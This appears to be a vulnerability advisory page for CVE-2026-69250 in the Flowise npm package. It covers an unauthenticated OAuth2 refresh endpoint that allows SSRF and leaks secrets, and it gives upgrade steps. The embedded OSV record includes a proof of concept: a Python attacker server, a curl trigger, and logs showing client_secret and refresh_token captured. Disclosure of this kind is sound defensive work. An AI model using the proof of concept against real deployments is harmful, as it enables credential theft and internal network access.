CVE-2026-69250: Flowise Unauthenticated OAuth2 Refresh Enables Non-Blind Vulnerability
HIGHCVE-2026-69250 is a HIGH unauthenticated oauth2 refresh enables non-blind vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Flowise libraries in the npm ecosystem. The issue involves unauthenticated oauth2 refresh enables non-blind ssrf and secret exfiltration. Remediation is available by upgrading affected packages to version 3.1.3.
CVE-2026-69250 at a Glance
How to Fix CVE-2026-69250
To remediate this vulnerability, upgrade all affected Flowise dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install flowise@3.1.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls flowise
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-69250, inspect your project dependencies using npm:
npm ls flowise
Analyze the terminal output to locate any version of Flowise in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.3), your application is affected.
Note: The npm ls flowise command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Flowise, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-69250 Affected Flowise Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
flowise
|
npm |
< 3.1.3
|
3.1.3
|
References
Frequently Asked Questions
What is CVE-2026-69250?
Which Flowise versions are affected?
What version fixes CVE-2026-69250?
Is flowise affected?
What CWE is associated with CVE-2026-69250?
How can I check npm dependencies for CVE-2026-69250?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-r745-8hwv-h473",
"modified" : "2026-08-04T14:20:49Z",
"published" : "2026-08-04T14:20:49Z",
"aliases" : [ "CVE-2026-69250" ],
"summary" : "Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration",
"details" : "### Summary\n\nThe OAuth2 token refresh endpoint (`POST /api/v1/oauth2-credential/refresh/:credentialId`) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (`accessTokenUrl`) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (`tokenInfo`), confirming non-blind SSRF and credential secret exfiltration.\n\n### Details\n\nThe vulnerability is in `dist/routes/oauth2/index.js` (container runtime build), under path prefix `/api/v1/oauth2-credential`.\n\nConfirmed in runtime code:\n\n1. **Unauthenticated route via whitelist**\n - `dist/utils/constants.js` includes:\n - `/api/v1/oauth2-credential/callback`\n - `/api/v1/oauth2-credential/refresh`\n - `dist/index.js` auth middleware uses:\n - `const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))`\n - Therefore `/api/v1/oauth2-credential/refresh/:credentialId` is treated as whitelisted.\n\n2. **User-controlled SSRF target**\n - In refresh handler (`dist/routes/oauth2/index.js`):\n - loads credential by `credentialId`\n - decrypts credential data\n - reads `accessTokenUrl`\n - executes:\n - `axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)`\n - No `secureAxiosRequest()` / denylist wrapper is used in this path.\n\n3. **Non-blind response reflection**\n - Response returns:\n - `tokenInfo: { ...tokenData, ... }`\n - `tokenData` is the attacker/internal server response body.\n\n4. **Secrets sent to SSRF target**\n - Request body includes:\n - `client_id`\n - `client_secret`\n - `grant_type=refresh_token`\n - `refresh_token`\n\n### PoC\n\n#### Environment used\n\n- `flowiseai/flowise:latest` container (`localhost:3000`)\n- Attacker server (`localhost:18081`) returning JSON\n\n#### Step 1: Start attacker server\n\n```bash\npython3 -u - <<'PY'\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport json\n\nclass H(BaseHTTPRequestHandler):\n def do_POST(self):\n l = int(self.headers.get('Content-Length','0'))\n b = self.rfile.read(l).decode('utf-8', errors='replace')\n print('REQUEST_PATH', self.path, flush=True)\n print('REQUEST_BODY', b, flush=True)\n self.send_response(200)\n self.send_header('Content-Type','application/json')\n self.end_headers()\n self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())\n def log_message(self, fmt, *args):\n pass\n\nHTTPServer(('0.0.0.0', 18081), H).serve_forever()\nPY\n```\n\n#### Step 2: Create OAuth2 credential with attacker `accessTokenUrl` (authenticated action)\n\nIn validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.\n\nResulting credential ID used in runtime validation:\n\n- `24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef`\n\n#### Step 3: Trigger refresh **without auth**\n\n```bash\ncurl -i -X POST \\\n http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \\\n -H 'Content-Type: application/json' \\\n -d '{}'\n```\n\nObserved response:\n\n```json\n{\n \"success\": true,\n \"message\": \"OAuth2 token refreshed successfully\",\n \"credentialId\": \"24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef\",\n \"tokenInfo\": {\n \"ok\": true,\n \"source\": \"attacker-server\",\n \"echo_len\": 76,\n \"has_new_refresh_token\": false\n }\n}\n```\n\nAttacker server logs captured:\n\n```text\nREQUEST_PATH /token\nREQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2\n```\n\nThis confirms:\n- unauthenticated trigger,\n- server-side POST to attacker-controlled URL,\n- exfiltration of OAuth2 secrets in POST body,\n- full response reflection to client (`tokenInfo`).\n\n### Impact\n\n- **Vulnerability class:** Non-blind SSRF + sensitive secret exfiltration.\n- **Who can set up attack:** Any authenticated user who can create/update OAuth2 credentials.\n- **Who can trigger attack:** Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).\n- **Technical impact:**\n - outbound SSRF to attacker/internal targets,\n - direct leak of `client_secret` and `refresh_token` to SSRF target,\n - direct response read from target via API response (`tokenInfo`).\n- **Deployment impact:**\n - cloud/internal network reachability can expose metadata/internal services depending on egress controls.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "flowise"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.1.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.1.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-r745-8hwv-h473"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/commit/da8b251a9a4c59484ceaf6f71df7406aede7bef2"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FlowiseAI/Flowise"
}, {
"type" : "WEB",
"url" : "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-639" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-08-04T14:20:49Z",
"nvd_published_at" : null
}
}